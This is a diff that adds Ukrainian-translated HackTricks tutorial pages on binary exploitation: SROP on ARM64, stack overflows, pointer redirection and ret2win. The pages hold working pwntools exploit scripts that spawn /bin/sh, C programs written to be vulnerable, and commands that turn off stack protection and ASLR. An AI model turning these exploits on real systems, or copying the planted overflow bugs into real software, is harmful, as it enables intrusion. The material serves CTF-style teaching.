{% endhint %}

View file

@ -0,0 +1,206 @@
# SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Приклад Pwntools
Цей приклад створює вразливий бінарний файл і експлуатує його. Бінарний файл **зчитує в стек** і потім викликає **`sigreturn`**:
```python
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof приклад
### Код
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Скомпілюйте це з:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
Експлойт використовує bof, щоб повернутися до виклику **`sigreturn`** і підготувати стек для виклику **`execve`** з вказівником на `/bin/sh`.
```python
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## bof приклад без sigreturn
### Код
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
```
## Exploit
У розділі **`vdso`** можна знайти виклик до **`sigreturn`** за зсувом **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
Отже, якщо буде витік, можна **використати цю адресу для доступу до `sigreturn`**, якщо бінар не завантажує його:
```python
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Для отримання додаткової інформації про vdso перегляньте:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
А щоб обійти адресу `/bin/sh`, ви можете створити кілька змінних середовища, які вказують на неї, для отримання додаткової інформації:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,124 @@
# Stack Overflow
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Що таке переповнення стеку
**Переповнення стеку** — це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезапишуть сусідній простір пам'яті**, що призведе до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, тим самим здатна перезаписати інші частини стеку.
Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену.
Наприклад, наступні функції можуть бути вразливими:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Знаходження зсувів стекових переповнень
Найпоширеніший спосіб знайти стекові переповнення - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
Більше того, як тільки ви виявите, що існує вразливість стекового переповнення, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини \_n**\_\*\* з'являється точно один раз\*\* як безперервна підпослідовність.
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом.
Можна використовувати **pwntools** для цього:
```python
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
або **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Використання переповнень стеку
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управлінський потік буде перенаправлений туди, куди вказав користувач** у цьому вказівнику.
Однак у інших сценаріях може бути достатньо просто **перезаписати деякі значення змінних у стеку** для експлуатації (як у простих CTF викликах).
### Ret2win
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
### Стековий Shellcode
У цьому сценарії зловмисник може помістити shellcode у стек і зловживати контрольованим EIP/RIP, щоб стрибнути до shellcode і виконати довільний код:
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
{% endcontent-ref %}
### ROP та Ret2... техніки
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчаться виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
## Переповнення купи
Переповнення не завжди буде в стеку, воно також може бути в **купі**, наприклад:
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
{% endcontent-ref %}
## Типи захисту
Існує кілька захистів, які намагаються запобігти експлуатації вразливостей, перевірте їх у:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -0,0 +1,55 @@
# Перенаправлення вказівників
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Вказівники рядків
Якщо виклик функції буде використовувати адресу рядка, що знаходиться в стеку, можна зловживати переповненням буфера, щоб **перезаписати цю адресу** і помістити **адресу іншого рядка** всередині бінарного файлу.
Якщо, наприклад, виклик функції **`system`** буде **використовувати адресу рядка для виконання команди**, зловмисник може помістити **адресу іншого рядка в стек**, **`export PATH=.:$PATH`** і створити в поточному каталозі **скрипт з назвою першої літери нового рядка**, оскільки це буде виконано бінарним файлом.
Ви можете знайти **приклад** цього за адресами:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32bit, змініть адресу на рядок прапорців у стеку, щоб його надрукував `puts`
## Вказівники функцій
Те ж саме, що й вказівник рядка, але застосовується до функцій, якщо **стек містить адресу функції**, яка буде викликана, можна **змінити її** (наприклад, щоб викликати **`system`**).
Ви можете знайти приклад за адресою:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## Посилання
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -0,0 +1,133 @@
# Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що стосуються **binary exploitation**. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
### C Example
Розглянемо просту C програму з вразливістю та функцією `win`, яку ми маємо намір викликати:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Щоб скомпілювати цю програму без захисту стеку та з вимкненим **ASLR**, ви можете використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
* `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
* `-z execstack`: Дозволити виконання коду в стеку.
* `-no-pie`: Вимкнути позиційно незалежний виконуваний файл, щоб адреса функції `win` не змінювалася.
* `-o vulnerable`: Назвати вихідний файл `vulnerable`.
### Python Exploit using Pwntools
Для експлойту ми використаємо **pwntools**, потужний фреймворк CTF для написання експлойтів. Скрипт експлойту створить корисне навантаження для переповнення буфера та перезапису адреси повернення адресою функції `win`.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
Щоб знайти адресу функції `win`, ви можете використовувати **gdb**, **objdump** або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з `objdump` ви можете використовувати:
```sh
objdump -d vulnerable | grep win
```
Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу.&#x20;
Скрипт на Python надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, він переходить до `win`, і повідомлення виводиться на екран.
## Захист
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **повинен бути вимкнений**, щоб адреса була надійною між виконаннями, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб з'ясувати, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібль) отримати правильну адресу повернення.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
## Інші приклади та посилання
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 біт, без ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 біти з ASLR, з leak адреси бінарника
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 біти, без ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнити стек і збільшити розмір другого переповнення
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 біти, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` функцією win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 біти, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 біти, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Програма лише перевіряє останній байт числа, щоб перевірити розмір введення, тому можливо додати будь-який розмір, якщо останній байт знаходиться в дозволеному діапазоні. Потім введення створює переповнення буфера, яке експлуатується за допомогою ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, він дає leak PIE, функція win насправді є 2 функціями, тому ROP гаджет, який викликає 2 функції
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one для виклику функції win
## Приклад ARM64
{% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,196 @@
# Ret2win - arm64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Знайдіть вступ до arm64 в:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Код&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Скомпілюйте без pie та canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Знаходження зсуву
### Варіант шаблону
Цей приклад був створений за допомогою [**GEF**](https://github.com/bata24/gef):
Запустіть gdb з gef, створіть шаблон і використайте його:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 спробує повернутися за адресою в регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти зсув шаблону:
```bash
pattern search $x30
```
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
**Зсув становить 72 (9x48).**
### Варіант зсуву стеку
Почніть з отримання адреси стеку, де зберігається регістр pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure>
Тепер встановіть точку зупинки після `read()` і продовжте, поки `read()` не буде виконано, і встановіть шаблон, наприклад 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../.gitbook/assets/image (1208).png" alt=""><figcaption></figcaption></figure>
Знайдіть, де цей шаблон зберігається в пам'яті:
<figure><img src="../../../.gitbook/assets/image (1209).png" alt=""><figcaption></figcaption></figure>
Тоді: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE
### Regular
Отримайте адресу функції **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Експлуатація:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Насправді це буде більше схоже на off-by-2 у збереженому PC у стеку. Замість того, щоб перезаписувати всю адресу повернення, ми перезапишемо **тільки останні 2 байти** значенням `0x06c4`.
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
